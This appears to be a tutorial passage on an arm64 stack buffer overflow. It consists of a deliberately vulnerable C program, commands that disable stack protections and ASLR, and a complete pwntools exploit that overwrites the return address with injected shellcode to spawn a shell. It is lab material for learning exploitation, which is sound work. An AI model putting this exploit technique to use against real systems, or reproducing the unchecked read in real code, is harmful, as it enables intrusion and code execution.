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Find an introduction to arm64 in:
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compile without pie, canary and nx:
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
To stop ASLR execute:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
To get the offset of the bof check this link.
Exploit:
from pwn import *
# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Start the process
p = process(binary_name)
# Offset to return address
offset = 72
# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)
# Craft the payload
payload = b'A' * offset + ret_address + shellcode
print("Payload length: "+ str(len(payload)))
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
I opened the generated core
file (gdb ./bog ./core
) and checked the real address of the start of the shellcode.
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